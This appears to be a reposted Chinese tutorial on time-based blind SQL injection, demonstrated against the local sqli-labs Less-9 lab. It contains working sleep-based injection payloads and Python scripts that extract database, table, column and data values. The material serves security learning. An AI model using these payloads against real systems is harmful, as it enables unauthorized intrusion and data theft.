SQL注入-时间盲注

这篇具有很好参考价值的文章主要介绍了SQL注入-时间盲注。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

时间盲注使用场景

当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。
时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询,从而得到让网页加载时间变长的方式来猜解数据库。

时间盲注使用到的SQL函数

1. if 表达式
if(expr1,expr2,expr3);表达式
如果expr1判断为真,则返回expr2值,否则expr3的值。
例:判断1+1是不是等于2,如果等于2返回“你是个天才”,不等于2返回“3”
sql注入时间盲注,web安全
2.sleep()函数
sleep(duration) 这个函数的作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数。
例子:让sql语句5秒后执行
sql注入时间盲注,web安全
3.substr()函数
substr(string,start,length)函数是截取字符串的函数。
4.ord()函数
ord(character)函数是返回一个字符的ASCII码。
5.length()函数
length(string)函数是否返回一个字符串的长度。

案例演示

演示环境

phpStudy + mysql + sqlilabs

代码分析

sqlilabs-Less-9 代码分析。
sql注入时间盲注,web安全
从源码中可以看到存在注入点,数据不会输出到页面中,数据库查询无论是正确还是错误显示同样的页面信息。

演示

1.注入点测试。
?id=1’ and 1=2 --+ 页面正常
?id=1’ and 1=1 --+ 页面正常
?id=1" and 1=2 --+ 页面正常
?id=hviurbnierneb --+ 页面正常
1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+` 页面正常
?id=1’ and length(database())=18–+ 页面正常
sql注入时间盲注,web安全
进行了这么多的测试,页面均正常显示,遇到这种情况可以采用时间注入来判断。

payload:?id=1' and sleep(5)--+

sql注入时间盲注,web安全
可以看到页面响应时间超过5秒,说明sleep(5)代入到数据库中查询,存在注点,接下来就可以使用if + sleep来猜解数据库信息了。
2.使用时间盲注爆出数据
1.猜解数据库名长度:
payload:?id=1’ and if(length(database())=5,sleep(5),0)–+
sql注入时间盲注,web安全
数据库长度判断为5,没有延迟,说明数据库名长度不为5,继续
payload:?id=1’ and if(length(database())=8,sleep(5),0)–+
sql注入时间盲注,web安全
页面响应超过5秒,证明当前数据库名长度为8。

简易Python脚本跑数据库长度

import requests
import time

def get_bdname_len():
    db_len = 0
    i = 1
    url = "http://127.0.0.1/sqlilabs/Less-9/"
    while 1:
        payload = "?id=1' and if(length(database())=%d,sleep(3),0)--+" % i
        start = time.time()
        res = requests.get(url=url+payload)
        timeout = time.time() - start
        if timeout >= 3:
            db_len = i
            break
        else:
            i += 1
    return db_len

db_name_len = get_bdname_len()
print(db_name_len)

运行效果:
sql注入时间盲注,web安全

2.猜解数据库名
通过ord函数或者ascii函数进行猜解数据库名
数据库名太长,挨个猜解太费时间,可以是用SQLmap或者写一个脚本自动去跑。
手工建议采用二分法来猜解提高效率。
payload:
?id=1’ and if(ascii(substr((select database()),1,1))>100,1,sleep(5))–+
页面立马加载,说明字符大于100
那么在尝试
?id=1’ and if(ascii(substr((select database()),1,1))>118,1,sleep(5))–+
页面5秒后加载,说明字符小于118
?id=1’ and if(ascii(substr((select database()),1,1))>110,1,sleep(5))–+
页面立马加载,说明字符大于110,那么现在字符就在110-118这个区间了
?id=1’ and if(ascii(substr((select database()),1,1))=115,1,sleep(5))–+
页面立马加载,说明第一个字符ASCII是115 也就是“s”
if() 第一个参数为真(对),返回第二个参数,否则返回第三个参数
sql注入时间盲注,web安全
Python脚本跑数据库名

def get_dbname(db_len):
    global database_name
    db_name = ""
    for num in range(0,255):
        # 构造payload,发起请求。
        start = time.time()
        payload = "http://127.0.0.1/sqlilabs/Less-9/?id=1'" \
                  " and if(ascii(substr((select database()),%d,1))=%d,sleep(5),null)--+" % (db_len, num)
        res = requests.get(url=payload+"%23")
        end = time.time() -start
        # 跟据正确页面响应时间猜解是否正确。
        if end > 3 :
            # 返回正确记录正确值并转换成字符
            db_name += chr(num)
            # 把正确的值插入到列表中,
            database_name[db_len] = db_name
            break
    print(db_name)

# 用来存储正确数据
database_name= ["","","","","","","","",""]
thread_list = []

def main(de_len):
    for i in range(1,de_len+1):
        # 根据数据库长度生成对应的线程。并存储到列表中
        t = Thread(target=get_dbname,args=(i,))
        thread_list.append(t)
        t.start()

    for s in range(len(thread_list)):
        thread_list[s].join()
    print(database_name)


if __name__ == "__main__":
    main(8)

运行效果
sql注入时间盲注,web安全
猜解表名长度:
payload:
?id=1’ and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))–+
猜解表名:
payload:
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–+
猜解列名:
?id=1’ and if(ascii(substr((select column_name from information _schema.columns where table_name=‘表名’ limit 0,1),1,1))=105,1,sleep(5))–+
根据得到的表名以及列名猜解数据:
?id=1’ and if(ascii(substr((select 列名 from 表名 limit 0,1), 1,1))=68,1,sleep(5))–+

猜解列名、表名、数据名都可以编写脚本或者SQLMAP来帮助我们得到数据。虽然有SQLMAP神器,但自己编写脚本适用性更广。文章来源地址https://www.toymoban.com/news/detail-656261.html

到了这里,关于SQL注入-时间盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【SQL注入-布尔盲注】

    布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。 演示环境 phpStudy + mysql + sqlilabs 源码分

    2024年02月06日
    浏览(30)
  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(29)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(35)
  • SQL注入原理-布尔盲注

            小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数  length()函数  实战演示  1、判断是否存在注入点 2、尝试用报错盲注看是否能够成功爆出数据 3、使用布尔盲注来爆出数据信息 1.爆出数据

    2023年04月08日
    浏览(36)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(36)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(32)
  • 【SQL注入漏洞-04】布尔盲注靶场实战

    当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 利用页面返回的布尔类型状态,正常或者不正常; 我们输入的语句让页面呈现出两种状态,相当于true和

    2023年04月16日
    浏览(37)
  • 延时盲注技术:SQL 注入漏洞检测入门指南

    部分数据来源: ChatGPT  环境准备 引言         在网络安全领域中,SQL 注入漏洞一直是常见的安全隐患之一。它可以利用应用程序对用户输入的不恰当处理,导致攻击者能够执行恶意的 SQL 查询语句,进而获取、修改或删除数据库中的数据。为了帮助初学者更好地理解和

    2024年02月10日
    浏览(31)
  • 【WEB安全】SQL注入挖掘

    2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感

    2024年02月13日
    浏览(29)
  • Web安全-初识SQL注入(一)

    将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。 注入能导致数据丢失、 破坏或泄露给无授权方,缺乏可审计性

    2024年02月05日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包